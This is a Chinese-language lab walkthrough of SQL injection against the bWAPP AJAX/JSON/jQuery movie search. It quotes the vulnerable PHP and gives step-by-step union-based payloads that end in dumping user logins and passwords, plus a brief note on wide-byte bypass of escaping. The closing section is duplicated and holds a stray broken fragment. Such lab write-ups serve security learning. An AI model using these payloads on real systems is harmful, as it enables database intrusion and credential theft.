当前位置: 代码迷 >> 综合 >> bWAPP-SQLInjection-AJAXJSONjQuery
  详细解决方案

bWAPP-SQLInjection-AJAXJSONjQuery

热度:98   发布时间:2024-02-21 03:37:01.0

AJAX/JSON/jQuery注入

常规流程

1.判断是否存在注入,注入是字符型还是整数型

2.猜解SQL查询语句中的字段数 (order by )

3.确定显示的字段顺序

4.获取当前数据库 (爆库)

5.获取数据库中的表 (爆表)

6.获取表中的字段名 (爆字段)

7.下载数据 (爆数据)

基础知识

什么是AJAX/JSON/jQuery

通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行实时更新。

AJAX/JSON/jQuery

代码分析

//sqli_10-1.php
<script>$("#title").keyup(function(){
                    // #title为表格的ID值// Searches for a movie titlevar search = {
    title: $("#title").val()}; //获取输入的值,制成JSON格式// AJAX call//getJSON(url,data,success(data,status,xhr))$.getJSON("sqli_10-2.php", search, function(data){
     //data 接收返回的数据init_table();								 //初始化表头// Constructs the table from the JSON datavar total = 0;$.each(data, function(key, val){
    			//循环输出JSON数据,制成表格total++;$("#table_yellow tr:last").after("<tr><td>" + val.title + "</td><td align='center'>" + val.release_year + "</td><td>" + val.main_character + "</td><td align='center'>" + val.genre + "</td><td align='center'><a href='http://www.imdb.com/title/" + val.imdb + "' target='_blank'>Link</a></td></tr>");});// Empty resultif (total == 0){
    $("#table_yellow tr:last").after("<tr height='30'><td colspan='5' width='580'>No movies were found!</td></tr>");}})});</script>
//"sqli_10-2.php
if(!empty($_GET["title"]))    //接收数据,并使用自定义函数sqli()对数据进行消毒
{
    // Retrieves the movie title$title = $_GET["title"];// Constructs the query$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";// Queries the database$recordset = mysql_query($sql, $link);// Fetches the resultif(mysql_num_rows($recordset) != 0){
    while($row = mysql_fetch_array($recordset)){
    $movies[] = $row;}}else{
    $movies = array();}
}
else
{
    $movies = array();
}

getJSON

演练

low

  1. 判断是否存在注入

    a%' and 1=1 #
    

在这里插入图片描述

  1. 判断注入字段个数

    a%' order by 7 # a%' order by 8 #
    

在这里插入图片描述
在这里插入图片描述

  1. 判断注入字段位置

    a%' union select 1,2,3,4,5,6,7 limit 9,1#
    

在这里插入图片描述

  1. 获取数据库信息

    a%' union select 1,database(),version(),user(),5,6,7 limit 9,1#
    

在这里插入图片描述

  1. 获取表名

    a%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5,6,7 limit 9,1#
    

在这里插入图片描述

  1. 获取列名

    a%' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),3,4,5,6,7 limit 9,1#
    

在这里插入图片描述

  1. 获取信息

    a%' union select 1,(select group_concat(login,'-',password,'-') from users),3,4,5,6,7 limit 9,1#
    

在这里插入图片描述

mid/high

分别用了addslashes()和mysql_real_escape_string()函数防御

查看mysql编码, 如果是GBK编码且操作系统是UTF-8编码, 则可以用宽字节来绕过:

可惜mysql编码是utf-8:

ThokuG-1600695053041)]

mid/high

分别用了addslashes()和mysql_real_escape_string()函数防御

查看mysql编码, 如果是GBK编码且操作系统是UTF-8编码, 则可以用宽字节来绕过:

可惜mysql编码是utf-8: